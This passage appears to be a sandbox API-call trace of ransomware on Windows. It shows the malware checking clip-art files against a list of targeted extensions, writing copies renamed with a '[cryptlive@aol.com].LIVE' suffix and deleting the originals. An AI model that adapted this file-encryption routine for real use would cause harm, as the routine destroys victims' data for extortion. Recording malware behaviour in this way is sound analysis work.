(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0139.663] lstrlenW (lpString=".dbf") returned 4 [0139.663] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0139.663] lstrlenW (lpString=".1cd") returned 4 [0139.663] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0139.663] lstrlenW (lpString=".jpg") returned 4 [0139.663] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0139.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0139.663] lstrlenW (lpString=".doc") returned 4 [0139.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.663] lstrlenW (lpString=".docx") returned 5 [0139.663] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.663] lstrlenW (lpString=".pdf") returned 4 [0139.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.664] lstrlenW (lpString=".xls") returned 4 [0139.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.664] lstrlenW (lpString=".xlsx") returned 5 [0139.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.664] lstrlenW (lpString=".ppt") returned 4 [0139.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0139.664] lstrlenW (lpString=".zip") returned 4 [0139.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.664] lstrlenW (lpString=".rar") returned 4 [0139.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.664] lstrlenW (lpString=".bz2") returned 4 [0139.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.664] lstrlenW (lpString=".7z") returned 3 [0139.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0139.664] lstrlenW (lpString=".dbf") returned 4 [0139.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0139.664] lstrlenW (lpString=".1cd") returned 4 [0139.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0139.664] lstrlenW (lpString=".jpg") returned 4 [0139.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.664] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0139.664] lstrlenW (lpString="BS00136_.WMF") returned 12 [0139.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.665] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2166) returned 1 [0139.665] CloseHandle (hObject=0x3ac) returned 1 [0139.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x20 [0139.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.666] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.666] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0139.666] GetLastError () returned 0x0 [0139.667] ReadFile (in: hFile=0x3ac, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x876, lpOverlapped=0x0) returned 1 [0139.691] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x880, lpOverlapped=0x0) returned 1 [0139.692] ReadFile (in: hFile=0x3ac, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0139.692] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.692] SetEndOfFile (hFile=0x39c) returned 1 [0139.692] CloseHandle (hObject=0x39c) returned 1 [0139.693] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.693] SetEndOfFile (hFile=0x3ac) returned 1 [0139.695] CloseHandle (hObject=0x3ac) returned 1 [0139.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 1 [0139.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0139.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0139.800] lstrlenW (lpString=".doc") returned 4 [0139.800] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.800] lstrlenW (lpString=".docx") returned 5 [0139.800] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.800] lstrlenW (lpString=".pdf") returned 4 [0139.800] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.800] lstrlenW (lpString=".xls") returned 4 [0139.800] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.800] lstrlenW (lpString=".xlsx") returned 5 [0139.800] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.800] lstrlenW (lpString=".ppt") returned 4 [0139.800] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0139.800] lstrlenW (lpString=".zip") returned 4 [0139.800] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.800] lstrlenW (lpString=".rar") returned 4 [0139.800] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.800] lstrlenW (lpString=".bz2") returned 4 [0139.800] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.800] lstrlenW (lpString=".7z") returned 3 [0139.800] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0139.801] lstrlenW (lpString=".dbf") returned 4 [0139.801] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0139.801] lstrlenW (lpString=".1cd") returned 4 [0139.801] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0139.801] lstrlenW (lpString=".jpg") returned 4 [0139.801] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0139.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0139.801] lstrlenW (lpString=".doc") returned 4 [0139.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.801] lstrlenW (lpString=".docx") returned 5 [0139.801] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.801] lstrlenW (lpString=".pdf") returned 4 [0139.801] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.801] lstrlenW (lpString=".xls") returned 4 [0139.801] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.801] lstrlenW (lpString=".xlsx") returned 5 [0139.801] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.801] lstrlenW (lpString=".ppt") returned 4 [0139.801] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0139.801] lstrlenW (lpString=".zip") returned 4 [0139.801] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.801] lstrlenW (lpString=".rar") returned 4 [0139.801] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.801] lstrlenW (lpString=".bz2") returned 4 [0139.801] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.801] lstrlenW (lpString=".7z") returned 3 [0139.801] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0139.801] lstrlenW (lpString=".dbf") returned 4 [0139.801] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0139.801] lstrlenW (lpString=".1cd") returned 4 [0139.801] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0139.802] lstrlenW (lpString=".jpg") returned 4 [0139.802] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.802] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0139.802] lstrlenW (lpString="BS00224_.WMF") returned 12 [0139.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0139.802] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=1588) returned 1 [0139.802] CloseHandle (hObject=0x1f8) returned 1 [0139.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x20 [0139.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0139.803] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.803] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0139.804] GetLastError () returned 0x0 [0139.804] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x634, lpOverlapped=0x0) returned 1 [0139.818] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x640, lpOverlapped=0x0) returned 1 [0139.819] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0139.819] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.820] SetEndOfFile (hFile=0x39c) returned 1 [0139.820] CloseHandle (hObject=0x39c) returned 1 [0139.820] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0139.820] SetEndOfFile (hFile=0x1f8) returned 1 [0139.822] CloseHandle (hObject=0x1f8) returned 1 [0139.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.822] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 1 [0139.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0139.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0139.823] lstrlenW (lpString=".doc") returned 4 [0139.823] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.823] lstrlenW (lpString=".docx") returned 5 [0139.823] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.823] lstrlenW (lpString=".pdf") returned 4 [0139.823] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.823] lstrlenW (lpString=".xls") returned 4 [0139.823] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.823] lstrlenW (lpString=".xlsx") returned 5 [0139.823] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.823] lstrlenW (lpString=".ppt") returned 4 [0139.823] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0139.823] lstrlenW (lpString=".zip") returned 4 [0139.823] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.823] lstrlenW (lpString=".rar") returned 4 [0139.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.823] lstrlenW (lpString=".bz2") returned 4 [0139.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.823] lstrlenW (lpString=".7z") returned 3 [0139.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0139.824] lstrlenW (lpString=".dbf") returned 4 [0139.824] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0139.824] lstrlenW (lpString=".1cd") returned 4 [0139.824] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0139.824] lstrlenW (lpString=".jpg") returned 4 [0139.824] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0139.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0139.824] lstrlenW (lpString=".doc") returned 4 [0139.824] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.824] lstrlenW (lpString=".docx") returned 5 [0139.824] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.824] lstrlenW (lpString=".pdf") returned 4 [0139.824] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.824] lstrlenW (lpString=".xls") returned 4 [0139.824] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.824] lstrlenW (lpString=".xlsx") returned 5 [0139.824] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.824] lstrlenW (lpString=".ppt") returned 4 [0139.824] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0139.824] lstrlenW (lpString=".zip") returned 4 [0139.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.824] lstrlenW (lpString=".rar") returned 4 [0139.824] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.824] lstrlenW (lpString=".bz2") returned 4 [0139.824] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.824] lstrlenW (lpString=".7z") returned 3 [0139.824] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0139.824] lstrlenW (lpString=".dbf") returned 4 [0139.824] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0139.825] lstrlenW (lpString=".1cd") returned 4 [0139.825] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0139.825] lstrlenW (lpString=".jpg") returned 4 [0139.825] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.825] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0139.825] lstrlenW (lpString="BS00439_.WMF") returned 12 [0139.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.837] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2052) returned 1 [0139.837] CloseHandle (hObject=0x3ac) returned 1 [0139.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x20 [0139.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0140.152] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.152] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0140.153] GetLastError () returned 0x0 [0140.153] ReadFile (in: hFile=0x3b0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x804, lpOverlapped=0x0) returned 1 [0140.177] WriteFile (in: hFile=0x390, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x810, lpOverlapped=0x0) returned 1 [0140.177] ReadFile (in: hFile=0x3b0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0140.178] WriteFile (in: hFile=0x390, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.178] SetEndOfFile (hFile=0x390) returned 1 [0140.178] CloseHandle (hObject=0x390) returned 1 [0140.178] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.178] SetEndOfFile (hFile=0x3b0) returned 1 [0140.180] CloseHandle (hObject=0x3b0) returned 1 [0140.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf")) returned 1 [0140.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0140.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0140.226] lstrlenW (lpString=".doc") returned 4 [0140.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.226] lstrlenW (lpString=".docx") returned 5 [0140.226] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.226] lstrlenW (lpString=".pdf") returned 4 [0140.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.226] lstrlenW (lpString=".xls") returned 4 [0140.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.226] lstrlenW (lpString=".xlsx") returned 5 [0140.227] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.227] lstrlenW (lpString=".ppt") returned 4 [0140.227] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0140.227] lstrlenW (lpString=".zip") returned 4 [0140.227] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.227] lstrlenW (lpString=".rar") returned 4 [0140.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.227] lstrlenW (lpString=".bz2") returned 4 [0140.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.227] lstrlenW (lpString=".7z") returned 3 [0140.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0140.227] lstrlenW (lpString=".dbf") returned 4 [0140.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0140.227] lstrlenW (lpString=".1cd") returned 4 [0140.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0140.227] lstrlenW (lpString=".jpg") returned 4 [0140.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 